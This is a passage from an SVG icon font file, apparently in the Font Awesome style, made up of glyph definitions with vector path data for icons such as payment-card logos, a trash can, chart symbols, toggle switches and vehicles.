d="M313 759q0 -51 -36 -84q-29 -26 -89 -26h-17v220h17q61 0 89 -27q36 -31 36 -83zM2089 824q0 -52 -64 -52h-19v101h20q63 0 63 -49zM380 759q0 74 -50 120.5t-129 46.5h-95v-333h95q74 0 119 38q60 51 60 128zM410 593h65v333h-65v-333zM730 694q0 40 -20.5 62t-75.5 42
q-29 10 -39.5 19t-10.5 23q0 16 13.5 26.5t34.5 10.5q29 0 53 -27l34 44q-41 37 -98 37q-44 0 -74 -27.5t-30 -67.5q0 -35 18 -55.5t64 -36.5q37 -13 45 -19q19 -12 19 -34q0 -20 -14 -33.5t-36 -13.5q-48 0 -71 44l-42 -40q44 -64 115 -64q51 0 83 30.5t32 79.5zM1008 604
v77q-37 -37 -78 -37q-49 0 -80.5 32.5t-31.5 82.5q0 48 31.5 81.5t77.5 33.5q43 0 81 -38v77q-40 20 -80 20q-74 0 -125.5 -50.5t-51.5 -123.5t51 -123.5t125 -50.5q42 0 81 19zM2240 0v527q-65 -40 -144.5 -84t-237.5 -117t-329.5 -137.5t-417.5 -134.5t-504 -118h1569
q26 0 45 19t19 45zM1389 757q0 75 -53 128t-128 53t-128 -53t-53 -128t53 -128t128 -53t128 53t53 128zM1541 584l144 342h-71l-90 -224l-89 224h-71l142 -342h35zM1714 593h184v56h-119v90h115v56h-115v74h119v57h-184v-333zM2105 593h80l-105 140q76 16 76 94q0 47 -31 73
t-87 26h-97v-333h65v133h9zM2304 1274v-1268q0 -56 -38.5 -95t-93.5 -39h-2040q-55 0 -93.5 39t-38.5 95v1268q0 56 38.5 95t93.5 39h2040q55 0 93.5 -39t38.5 -95z" />
    <glyph glyph-name="f1f3" unicode="&#xf1f3;" horiz-adv-x="2304" 
d="M119 854h89l-45 108zM740 328l74 79l-70 79h-163v-49h142v-55h-142v-54h159zM898 406l99 -110v217zM1186 453q0 33 -40 33h-84v-69h83q41 0 41 36zM1475 457q0 29 -42 29h-82v-61h81q43 0 43 32zM1197 923q0 29 -42 29h-82v-60h81q43 0 43 31zM1656 854h89l-44 108z
M699 1009v-271h-66v212l-94 -212h-57l-94 212v-212h-132l-25 60h-135l-25 -60h-70l116 271h96l110 -257v257h106l85 -184l77 184h108zM1255 453q0 -20 -5.5 -35t-14 -25t-22.5 -16.5t-26 -10t-31.5 -4.5t-31.5 -1t-32.5 0.5t-29.5 0.5v-91h-126l-80 90l-83 -90h-256v271h260
l80 -89l82 89h207q109 0 109 -89zM964 794v-56h-217v271h217v-57h-152v-49h148v-55h-148v-54h152zM2304 235v-229q0 -55 -38.5 -94.5t-93.5 -39.5h-2040q-55 0 -93.5 39.5t-38.5 94.5v678h111l25 61h55l25 -61h218v46l19 -46h113l20 47v-47h541v99l10 1q10 0 10 -14v-86h279
v23q23 -12 55 -18t52.5 -6.5t63 0.5t51.5 1l25 61h56l25 -61h227v58l34 -58h182v378h-180v-44l-25 44h-185v-44l-23 44h-249q-69 0 -109 -22v22h-172v-22q-24 22 -73 22h-628l-43 -97l-43 97h-198v-44l-22 44h-169l-78 -179v391q0 55 38.5 94.5t93.5 39.5h2040
q55 0 93.5 -39.5t38.5 -94.5v-678h-120q-51 0 -81 -22v22h-177q-55 0 -78 -22v22h-316v-22q-31 22 -87 22h-209v-22q-23 22 -91 22h-234l-54 -58l-50 58h-349v-378h343l55 59l52 -59h211v89h21q59 0 90 13v-102h174v99h8q8 0 10 -2t2 -10v-87h529q57 0 88 24v-24h168
q60 0 95 17zM1546 469q0 -23 -12 -43t-34 -29q25 -9 34 -26t9 -46v-54h-65v45q0 33 -12 43.5t-46 10.5h-69v-99h-65v271h154q48 0 77 -15t29 -58zM1269 936q0 -24 -12.5 -44t-33.5 -29q26 -9 34.5 -25.5t8.5 -46.5v-53h-65q0 9 0.5 26.5t0 25t-3 18.5t-8.5 16t-17.5 8.5
t-29.5 3.5h-70v-98h-64v271l153 -1q49 0 78 -14.5t29 -57.5zM1798 327v-56h-216v271h216v-56h-151v-49h148v-55h-148v-54zM1372 1009v-271h-66v271h66zM2065 357q0 -86 -102 -86h-126v58h126q34 0 34 25q0 16 -17 21t-41.5 5t-49.5 3.5t-42 22.5t-17 55q0 39 26 60t66 21
h130v-57h-119q-36 0 -36 -25q0 -16 17.5 -20.5t42 -4t49 -2.5t42 -21.5t17.5 -54.5zM2304 407v-101q-24 -35 -88 -35h-125v58h125q33 0 33 25q0 13 -12.5 19t-31 5.5t-40 2t-40 8t-31 24t-12.5 48.5q0 39 26.5 60t66.5 21h129v-57h-118q-36 0 -36 -25q0 -20 29 -22t68.5 -5
t56.5 -26zM2139 1008v-270h-92l-122 203v-203h-132l-26 60h-134l-25 -60h-75q-129 0 -129 133q0 138 133 138h63v-59q-7 0 -28 1t-28.5 0.5t-23 -2t-21.5 -6.5t-14.5 -13.5t-11.5 -23t-3 -33.5q0 -38 13.5 -58t49.5 -20h29l92 213h97l109 -256v256h99l114 -188v188h66z" />
    <glyph glyph-name="_469" unicode="&#xf1f4;" horiz-adv-x="2304" 
d="M745 630q0 -37 -25.5 -61.5t-62.5 -24.5q-29 0 -46.5 16t-17.5 44q0 37 25 62.5t62 25.5q28 0 46.5 -16.5t18.5 -45.5zM1530 779q0 -42 -22 -57t-66 -15l-32 -1l17 107q2 11 13 11h18q22 0 35 -2t25 -12.5t12 -30.5zM1881 630q0 -36 -25.5 -61t-61.5 -25q-29 0 -47 16
t-18 44q0 37 25 62.5t62 25.5q28 0 46.5 -16.5t18.5 -45.5zM513 801q0 59 -38.5 85.5t-100.5 26.5h-160q-19 0 -21 -19l-65 -408q-1 -6 3 -11t10 -5h76q20 0 22 19l18 110q1 8 7 13t15 6.5t17 1.5t19 -1t14 -1q86 0 135 48.5t49 134.5zM822 489l41 261q1 6 -3 11t-10 5h-76
q-14 0 -17 -33q-27 40 -95 40q-72 0 -122.5 -54t-50.5 -127q0 -59 34.5 -94t92.5 -35q28 0 58 12t48 32q-4 -12 -4 -21q0 -16 13 -16h69q19 0 22 19zM1269 752q0 5 -4 9.5t-9 4.5h-77q-11 0 -18 -10l-106 -156l-44 150q-5 16 -22 16h-75q-5 0 -9 -4.5t-4 -9.5q0 -2 19.5 -59
t42 -123t23.5 -70q-82 -112 -82 -120q0 -13 13 -13h77q11 0 18 10l255 368q2 2 2 7zM1649 801q0 59 -38.5 85.5t-100.5 26.5h-159q-20 0 -22 -19l-65 -408q-1 -6 3 -11t10 -5h82q12 0 16 13l18 116q1 8 7 13t15 6.5t17 1.5t19 -1t14 -1q86 0 135 48.5t49 134.5zM1958 489
l41 261q1 6 -3 11t-10 5h-76q-14 0 -17 -33q-26 40 -95 40q-72 0 -122.5 -54t-50.5 -127q0 -59 34.5 -94t92.5 -35q29 0 59 12t47 32q0 -1 -2 -9t-2 -12q0 -16 13 -16h69q19 0 22 19zM2176 898v1q0 14 -13 14h-74q-11 0 -13 -11l-65 -416l-1 -2q0 -5 4 -9.5t10 -4.5h66
q19 0 21 19zM392 764q-5 -35 -26 -46t-60 -11l-33 -1l17 107q2 11 13 11h19q40 0 58 -11.5t12 -48.5zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_470" unicode="&#xf1f5;" horiz-adv-x="2304" 
d="M1597 633q0 -69 -21 -106q-19 -35 -52 -35q-23 0 -41 9v224q29 30 57 30q57 0 57 -122zM2035 669h-110q6 98 56 98q51 0 54 -98zM476 534q0 59 -33 91.5t-101 57.5q-36 13 -52 24t-16 25q0 26 38 26q58 0 124 -33l18 112q-67 32 -149 32q-77 0 -123 -38q-48 -39 -48 -109
q0 -58 32.5 -90.5t99.5 -56.5q39 -14 54.5 -25.5t15.5 -27.5q0 -31 -48 -31q-29 0 -70 12.5t-72 30.5l-18 -113q72 -41 168 -41q81 0 129 37q51 41 51 117zM771 749l19 111h-96v135l-129 -21l-18 -114l-46 -8l-17 -103h62v-219q0 -84 44 -120q38 -30 111 -30q32 0 79 11v118
q-32 -7 -44 -7q-42 0 -42 50v197h77zM1087 724v139q-15 3 -28 3q-32 0 -55.5 -16t-33.5 -46l-10 56h-131v-471h150v306q26 31 82 31q16 0 26 -2zM1124 389h150v471h-150v-471zM1746 638q0 122 -45 179q-40 52 -111 52q-64 0 -117 -56l-8 47h-132v-645l150 25v151
q36 -11 68 -11q83 0 134 56q61 65 61 202zM1278 986q0 33 -23 56t-56 23t-56 -23t-23 -56t23 -56.5t56 -23.5t56 23.5t23 56.5zM2176 629q0 113 -48 176q-50 64 -144 64q-96 0 -151.5 -66t-55.5 -180q0 -128 63 -188q55 -55 161 -55q101 0 160 40l-16 103q-57 -31 -128 -31
q-43 0 -63 19q-23 19 -28 66h248q2 14 2 52zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_471" unicode="&#xf1f6;" horiz-adv-x="2048" 
d="M1558 684q61 -356 298 -556q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-180.5 74.5t-75.5 180.5zM1024 -176q16 0 16 16t-16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5zM2026 1424q8 -10 7.5 -23.5t-10.5 -22.5
l-1872 -1622q-10 -8 -23.5 -7t-21.5 11l-84 96q-8 10 -7.5 23.5t10.5 21.5l186 161q-19 32 -19 66q50 42 91 88t85 119.5t74.5 158.5t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q124 -18 219 -82.5t148 -157.5
l418 363q10 8 23.5 7t21.5 -11z" />
    <glyph glyph-name="_472" unicode="&#xf1f7;" horiz-adv-x="2048" 
d="M1040 -160q0 16 -16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5q16 0 16 16zM503 315l877 760q-42 88 -132.5 146.5t-223.5 58.5q-93 0 -169.5 -31.5t-121.5 -80.5t-69 -103t-24 -105q0 -384 -137 -645zM1856 128
q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-180.5 74.5t-75.5 180.5l149 129h757q-166 187 -227 459l111 97q61 -356 298 -556zM1942 1520l84 -96q8 -10 7.5 -23.5t-10.5 -22.5l-1872 -1622q-10 -8 -23.5 -7t-21.5 11l-84 96q-8 10 -7.5 23.5t10.5 21.5l186 161
q-19 32 -19 66q50 42 91 88t85 119.5t74.5 158.5t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q124 -18 219 -82.5t148 -157.5l418 363q10 8 23.5 7t21.5 -11z" />
    <glyph glyph-name="_473" unicode="&#xf1f8;" horiz-adv-x="1408" 
d="M512 160v704q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-704q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM768 160v704q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-704q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1024 160v704q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-704
q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM480 1152h448l-48 117q-7 9 -17 11h-317q-10 -2 -17 -11zM1408 1120v-64q0 -14 -9 -23t-23 -9h-96v-948q0 -83 -47 -143.5t-113 -60.5h-832q-66 0 -113 58.5t-47 141.5v952h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h309l70 167
q15 37 54 63t79 26h320q40 0 79 -26t54 -63l70 -167h309q14 0 23 -9t9 -23z" />
    <glyph glyph-name="_474" unicode="&#xf1f9;" 
d="M1150 462v-109q0 -50 -36.5 -89t-94 -60.5t-118 -32.5t-117.5 -11q-205 0 -342.5 139t-137.5 346q0 203 136 339t339 136q34 0 75.5 -4.5t93 -18t92.5 -34t69 -56.5t28 -81v-109q0 -16 -16 -16h-118q-16 0 -16 16v70q0 43 -65.5 67.5t-137.5 24.5q-140 0 -228.5 -91.5
t-88.5 -237.5q0 -151 91.5 -249.5t233.5 -98.5q68 0 138 24t70 66v70q0 7 4.5 11.5t10.5 4.5h119q6 0 11 -4.5t5 -11.5zM768 1280q-130 0 -248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5
t-51 248.5t-136.5 204t-204 136.5t-248.5 51zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_475" unicode="&#xf1fa;" 
d="M972 761q0 108 -53.5 169t-147.5 61q-63 0 -124 -30.5t-110 -84.5t-79.5 -137t-30.5 -180q0 -112 53.5 -173t150.5 -61q96 0 176 66.5t122.5 166t42.5 203.5zM1536 640q0 -111 -37 -197t-98.5 -135t-131.5 -74.5t-145 -27.5q-6 0 -15.5 -0.5t-16.5 -0.5q-95 0 -142 53
q-28 33 -33 83q-52 -66 -131.5 -110t-173.5 -44q-161 0 -249.5 95.5t-88.5 269.5q0 157 66 290t179 210.5t246 77.5q87 0 155 -35.5t106 -99.5l2 19l11 56q1 6 5.5 12t9.5 6h118q5 0 13 -11q5 -5 3 -16l-120 -614q-5 -24 -5 -48q0 -39 12.5 -52t44.5 -13q28 1 57 5.5t73 24
t77 50t57 89.5t24 137q0 292 -174 466t-466 174q-130 0 -248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51q228 0 405 144q11 9 24 8t21 -12l41 -49q8 -12 7 -24q-2 -13 -12 -22q-102 -83 -227.5 -128t-258.5 -45q-156 0 -298 61
t-245 164t-164 245t-61 298t61 298t164 245t245 164t298 61q344 0 556 -212t212 -556z" />
    <glyph glyph-name="_476" unicode="&#xf1fb;" horiz-adv-x="1792" 
d="M1698 1442q94 -94 94 -226.5t-94 -225.5l-225 -223l104 -104q10 -10 10 -23t-10 -23l-210 -210q-10 -10 -23 -10t-23 10l-105 105l-603 -603q-37 -37 -90 -37h-203l-256 -128l-64 64l128 256v203q0 53 37 90l603 603l-105 105q-10 10 -10 23t10 23l210 210q10 10 23 10
t23 -10l104 -104l223 225q93 94 225.5 94t226.5 -94zM512 64l576 576l-192 192l-576 -576v-192h192z" />
    <glyph glyph-name="f1fc" unicode="&#xf1fc;" horiz-adv-x="1792" 
d="M1615 1536q70 0 122.5 -46.5t52.5 -116.5q0 -63 -45 -151q-332 -629 -465 -752q-97 -91 -218 -91q-126 0 -216.5 92.5t-90.5 219.5q0 128 92 212l638 579q59 54 130 54zM706 502q39 -76 106.5 -130t150.5 -76l1 -71q4 -213 -129.5 -347t-348.5 -134q-123 0 -218 46.5
t-152.5 127.5t-86.5 183t-29 220q7 -5 41 -30t62 -44.5t59 -36.5t46 -17q41 0 55 37q25 66 57.5 112.5t69.5 76t88 47.5t103 25.5t125 10.5z" />
    <glyph glyph-name="_478" unicode="&#xf1fd;" horiz-adv-x="1792" 
d="M1792 128v-384h-1792v384q45 0 85 14t59 27.5t47 37.5q30 27 51.5 38t56.5 11q24 0 44 -7t31 -15t33 -27q29 -25 47 -38t58 -27t86 -14q45 0 85 14.5t58 27t48 37.5q21 19 32.5 27t31 15t43.5 7q35 0 56.5 -11t51.5 -38q28 -24 47 -37.5t59 -27.5t85 -14t85 14t59 27.5
t47 37.5q30 27 51.5 38t56.5 11q34 0 55.5 -11t51.5 -38q28 -24 47 -37.5t59 -27.5t85 -14zM1792 448v-192q-24 0 -44 7t-31 15t-33 27q-29 25 -47 38t-58 27t-85 14q-46 0 -86 -14t-58 -27t-47 -38q-22 -19 -33 -27t-31 -15t-44 -7q-35 0 -56.5 11t-51.5 38q-29 25 -47 38
t-58 27t-86 14q-45 0 -85 -14.5t-58 -27t-48 -37.5q-21 -19 -32.5 -27t-31 -15t-43.5 -7q-35 0 -56.5 11t-51.5 38q-28 24 -47 37.5t-59 27.5t-85 14q-46 0 -86 -14t-58 -27t-47 -38q-30 -27 -51.5 -38t-56.5 -11v192q0 80 56 136t136 56h64v448h256v-448h256v448h256v-448
h256v448h256v-448h64q80 0 136 -56t56 -136zM512 1312q0 -77 -36 -118.5t-92 -41.5q-53 0 -90.5 37.5t-37.5 90.5q0 29 9.5 51t23.5 34t31 28t31 31.5t23.5 44.5t9.5 67q38 0 83 -74t45 -150zM1024 1312q0 -77 -36 -118.5t-92 -41.5q-53 0 -90.5 37.5t-37.5 90.5
q0 29 9.5 51t23.5 34t31 28t31 31.5t23.5 44.5t9.5 67q38 0 83 -74t45 -150zM1536 1312q0 -77 -36 -118.5t-92 -41.5q-53 0 -90.5 37.5t-37.5 90.5q0 29 9.5 51t23.5 34t31 28t31 31.5t23.5 44.5t9.5 67q38 0 83 -74t45 -150z" />
    <glyph glyph-name="_479" unicode="&#xf1fe;" horiz-adv-x="2048" 
d="M2048 0v-128h-2048v1536h128v-1408h1920zM1664 1024l256 -896h-1664v576l448 576l576 -576z" />
    <glyph glyph-name="_480" unicode="&#xf200;" horiz-adv-x="1792" 
d="M768 646l546 -546q-106 -108 -247.5 -168t-298.5 -60q-209 0 -385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103v-762zM955 640h773q0 -157 -60 -298.5t-168 -247.5zM1664 768h-768v768q209 0 385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_481" unicode="&#xf201;" horiz-adv-x="2048" 
d="M2048 0v-128h-2048v1536h128v-1408h1920zM1920 1248v-435q0 -21 -19.5 -29.5t-35.5 7.5l-121 121l-633 -633q-10 -10 -23 -10t-23 10l-233 233l-416 -416l-192 192l585 585q10 10 23 10t23 -10l233 -233l464 464l-121 121q-16 16 -7.5 35.5t29.5 19.5h435q14 0 23 -9
t9 -23z" />
    <glyph glyph-name="_482" unicode="&#xf202;" horiz-adv-x="1792" 
d="M1292 832q0 -6 10 -41q10 -29 25 -49.5t41 -34t44 -20t55 -16.5q325 -91 325 -332q0 -146 -105.5 -242.5t-254.5 -96.5q-59 0 -111.5 18.5t-91.5 45.5t-77 74.5t-63 87.5t-53.5 103.5t-43.5 103t-39.5 106.5t-35.5 95q-32 81 -61.5 133.5t-73.5 96.5t-104 64t-142 20
q-96 0 -183 -55.5t-138 -144.5t-51 -185q0 -160 106.5 -279.5t263.5 -119.5q177 0 258 95q56 63 83 116l84 -152q-15 -34 -44 -70l1 -1q-131 -152 -388 -152q-147 0 -269.5 79t-190.5 207.5t-68 274.5q0 105 43.5 206t116 176.5t172 121.5t204.5 46q87 0 159 -19t123.5 -50
t95 -80t72.5 -99t58.5 -117t50.5 -124.5t50 -130.5t55 -127q96 -200 233 -200q81 0 138.5 48.5t57.5 128.5q0 42 -19 72t-50.5 46t-72.5 31.5t-84.5 27t-87.5 34t-81 52t-65 82t-39 122.5q-3 16 -3 33q0 110 87.5 192t198.5 78q78 -3 120.5 -14.5t90.5 -53.5h-1
q12 -11 23 -24.5t26 -36t19 -27.5l-129 -99q-26 49 -54 70v1q-23 21 -97 21q-49 0 -84 -33t-35 -83z" />
    <glyph glyph-name="_483" unicode="&#xf203;" 
d="M1432 484q0 173 -234 239q-35 10 -53 16.5t-38 25t-29 46.5q0 2 -2 8.5t-3 12t-1 7.5q0 36 24.5 59.5t60.5 23.5q54 0 71 -15h-1q20 -15 39 -51l93 71q-39 54 -49 64q-33 29 -67.5 39t-85.5 10q-80 0 -142 -57.5t-62 -137.5q0 -7 2 -23q16 -96 64.5 -140t148.5 -73
q29 -8 49 -15.5t45 -21.5t38.5 -34.5t13.5 -46.5v-5q1 -58 -40.5 -93t-100.5 -35q-97 0 -167 144q-23 47 -51.5 121.5t-48 125.5t-54 110.5t-74 95.5t-103.5 60.5t-147 24.5q-101 0 -192 -56t-144 -148t-50 -192v-1q4 -108 50.5 -199t133.5 -147.5t196 -56.5q186 0 279 110
q20 27 31 51l-60 109q-42 -80 -99 -116t-146 -36q-115 0 -191 87t-76 204q0 105 82 189t186 84q112 0 170 -53.5t104 -172.5q8 -21 25.5 -68.5t28.5 -76.5t31.5 -74.5t38.5 -74t45.5 -62.5t55.5 -53.5t66 -33t80 -13.5q107 0 183 69.5t76 174.5zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_484" unicode="&#xf204;" horiz-adv-x="2048" 
d="M1152 640q0 104 -40.5 198.5t-109.5 163.5t-163.5 109.5t-198.5 40.5t-198.5 -40.5t-163.5 -109.5t-109.5 -163.5t-40.5 -198.5t40.5 -198.5t109.5 -163.5t163.5 -109.5t198.5 -40.5t198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5zM1920 640q0 104 -40.5 198.5
t-109.5 163.5t-163.5 109.5t-198.5 40.5h-386q119 -90 188.5 -224t69.5 -288t-69.5 -288t-188.5 -224h386q104 0 198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5zM2048 640q0 -130 -51 -248.5t-136.5 -204t-204 -136.5t-248.5 -51h-768q-130 0 -248.5 51t-204 136.5
t-136.5 204t-51 248.5t51 248.5t136.5 204t204 136.5t248.5 51h768q130 0 248.5 -51t204 -136.5t136.5 -204t51 -248.5z" />
    <glyph glyph-name="_485" unicode="&#xf205;" horiz-adv-x="2048" 
d="M0 640q0 130 51 248.5t136.5 204t204 136.5t248.5 51h768q130 0 248.5 -51t204 -136.5t136.5 -204t51 -248.5t-51 -248.5t-136.5 -204t-204 -136.5t-248.5 -51h-768q-130 0 -248.5 51t-204 136.5t-136.5 204t-51 248.5zM1408 128q104 0 198.5 40.5t163.5 109.5
t109.5 163.5t40.5 198.5t-40.5 198.5t-109.5 163.5t-163.5 109.5t-198.5 40.5t-198.5 -40.5t-163.5 -109.5t-109.5 -163.5t-40.5 -198.5t40.5 -198.5t109.5 -163.5t163.5 -109.5t198.5 -40.5z" />
    <glyph glyph-name="_486" unicode="&#xf206;" horiz-adv-x="2304" 
d="M762 384h-314q-40 0 -57.5 35t6.5 67l188 251q-65 31 -137 31q-132 0 -226 -94t-94 -226t94 -226t226 -94q115 0 203 72.5t111 183.5zM576 512h186q-18 85 -75 148zM1056 512l288 384h-480l-99 -132q105 -103 126 -252h165zM2176 448q0 132 -94 226t-226 94
q-60 0 -121 -24l174 -260q15 -23 10 -49t-27 -40q-15 -11 -36 -11q-35 0 -53 29l-174 260q-93 -95 -93 -225q0 -132 94 -226t226 -94t226 94t94 226zM2304 448q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 97 39.5 183.5t109.5 149.5l-65 98l-353 -469
q-18 -26 -51 -26h-197q-23 -164 -149 -274t-294 -110q-185 0 -316.5 131.5t-131.5 316.5t131.5 316.5t316.5 131.5q114 0 215 -55l137 183h-224q-26 0 -45 19t-19 45t19 45t45 19h384v-128h435l-85 128h-222q-26 0 -45 19t-19 45t19 45t45 19h256q33 0 53 -28l267 -400
q91 44 192 44q185 0 316.5 -131.5t131.5 -316.5z" />
    <glyph glyph-name="_487" unicode="&#xf207;" 
d="M384 320q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1408 320q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1362 716l-72 384q-5 23 -22.5 37.5t-40.5 14.5
h-918q-23 0 -40.5 -14.5t-22.5 -37.5l-72 -384q-5 -30 14 -53t49 -23h1062q30 0 49 23t14 53zM1136 1328q0 20 -14 34t-34 14h-640q-20 0 -34 -14t-14 -34t14 -34t34 -14h640q20 0 34 14t14 34zM1536 603v-603h-128v-128q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5
t-37.5 90.5v128h-768v-128q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5v128h-128v603q0 112 25 223l103 454q9 78 97.5 137t230 89t312.5 30t312.5 -30t230 -89t97.5 -137l105 -454q23 -102 23 -223z" />
    <glyph glyph-name="_488" unicode="&#xf208;" horiz-adv-x="2048" 
d="M1463 704q0 -35 -25 -60.5t-61 -25.5h-702q-36 0 -61 25.5t-25 60.5t25 60.5t61 25.5h702q36 0 61 -25.5t25 -60.5zM1677 704q0 86 -23 170h-982q-36 0 -61 25t-25 60q0 36 25 61t61 25h908q-88 143 -235 227t-320 84q-177 0 -327.5 -87.5t-238 -237.5t-87.5 -327
q0 -86 23 -170h982q36 0 61 -25t25 -60q0 -36 -25 -61t-61 -25h-908q88 -143 235.5 -227t320.5 -84q132 0 253 51.5t208 139t139 208t52 253.5zM2048 959q0 -35 -25 -60t-61 -25h-131q17 -85 17 -170q0 -167 -65.5 -319.5t-175.5 -263t-262.5 -176t-319.5 -65.5
q-246 0 -448.5 133t-301.5 350h-189q-36 0 -61 25t-25 61q0 35 25 60t61 25h132q-17 85 -17 170q0 167 65.5 319.5t175.5 263t262.5 176t320.5 65.5q245 0 447.5 -133t301.5 -350h188q36 0 61 -25t25 -61z" />
    <glyph glyph-name="_489" unicode="&#xf209;" horiz-adv-x="1280" 
d="M953 1158l-114 -328l117 -21q165 451 165 518q0 56 -38 56q-57 0 -130 -225zM654 471l33 -88q37 42 71 67l-33 5.5t-38.5 7t-32.5 8.5zM362 1367q0 -98 159 -521q17 10 49 10q15 0 75 -5l-121 351q-75 220 -123 220q-19 0 -29 -17.5t-10 -37.5zM283 608q0 -36 51.5 -119
t117.5 -153t100 -70q14 0 25.5 13t11.5 27q0 24 -32 102q-13 32 -32 72t-47.5 89t-61.5 81t-62 32q-20 0 -45.5 -27t-25.5 -47zM125 273q0 -41 25 -104q59 -145 183.5 -227t281.5 -82q227 0 382 170q152 169 152 427q0 43 -1 67t-11.5 62t-30.5 56q-56 49 -211.5 75.5
t-270.5 26.5q-37 0 -49 -11q-12 -5 -12 -35q0 -34 21.5 -60t55.5 -40t77.5 -23.5t87.5 -11.5t85 -4t70 0h23q24 0 40 -19q15 -19 19 -55q-28 -28 -96 -54q-61 -22 -93 -46q-64 -46 -108.5 -114t-44.5 -137q0 -31 18.5 -88.5t18.5 -87.5l-3 -12q-4 -12 -4 -14
q-137 10 -146 216q-8 -2 -41 -2q2 -7 2 -21q0 -53 -40.5 -89.5t-94.5 -36.5q-82 0 -166.5 78t-84.5 159q0 34 33 67q52 -64 60 -76q77 -104 133 -104q12 0 26.5 8.5t14.5 20.5q0 34 -87.5 145t-116.5 111q-43 0 -70 -44.5t-27 -90.5zM11 264q0 101 42.5 163t136.5 88
q-28 74 -28 104q0 62 61 123t122 61q29 0 70 -15q-163 462 -163 567q0 80 41 130.5t119 50.5q131 0 325 -581q6 -17 8 -23q6 16 29 79.5t43.5 118.5t54 127.5t64.5 123t70.5 86.5t76.5 36q71 0 112 -49t41 -122q0 -108 -159 -550q61 -15 100.5 -46t58.5 -78t26 -93.5
t7 -110.5q0 -150 -47 -280t-132 -225t-211 -150t-278 -55q-111 0 -223 42q-149 57 -258 191.5t-109 286.5z" />
    <glyph glyph-name="_490" unicode="&#xf20a;" horiz-adv-x="2048" 
d="M785 528h207q-14 -158 -98.5 -248.5t-214.5 -90.5q-162 0 -254.5 116t-92.5 316q0 194 93 311.5t233 117.5q148 0 232 -87t97 -247h-203q-5 64 -35.5 99t-81.5 35q-57 0 -88.5 -60.5t-31.5 -177.5q0 -48 5 -84t18 -69.5t40 -51.5t66 -18q95 0 109 139zM1497 528h206
q-14 -158 -98 -248.5t-214 -90.5q-162 0 -254.5 116t-92.5 316q0 194 93 311.5t233 117.5q148 0 232 -87t97 -247h-204q-4 64 -35 99t-81 35q-57 0 -88.5 -60.5t-31.5 -177.5q0 -48 5 -84t18 -69.5t39.5 -51.5t65.5 -18q49 0 76.5 38t33.5 101zM1856 647q0 207 -15.5 307
t-60.5 161q-6 8 -13.5 14t-21.5 15t-16 11q-86 63 -697 63q-625 0 -710 -63q-5 -4 -17.5 -11.5t-21 -14t-14.5 -14.5q-45 -60 -60 -159.5t-15 -308.5q0 -208 15 -307.5t60 -160.5q6 -8 15 -15t20.5 -14t17.5 -12q44 -33 239.5 -49t470.5 -16q610 0 697 65q5 4 17 11t20.5 14
t13.5 16q46 60 61 159t15 309zM2048 1408v-1536h-2048v1536h2048z" />
    <glyph glyph-name="_491" unicode="&#xf20b;" 
d="M992 912v-496q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v496q0 112 -80 192t-192 80h-272v-1152q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v1344q0 14 9 23t23 9h464q135 0 249 -66.5t180.5 -180.5t66.5 -249zM1376 1376v-880q0 -135 -66.5 -249t-180.5 -180.5
t-249 -66.5h-464q-14 0 -23 9t-9 23v960q0 14 9 23t23 9h160q14 0 23 -9t9 -23v-768h272q112 0 192 80t80 192v880q0 14 9 23t23 9h160q14 0 23 -9t9 -23z" />
    <glyph glyph-name="_492" unicode="&#xf20c;" 
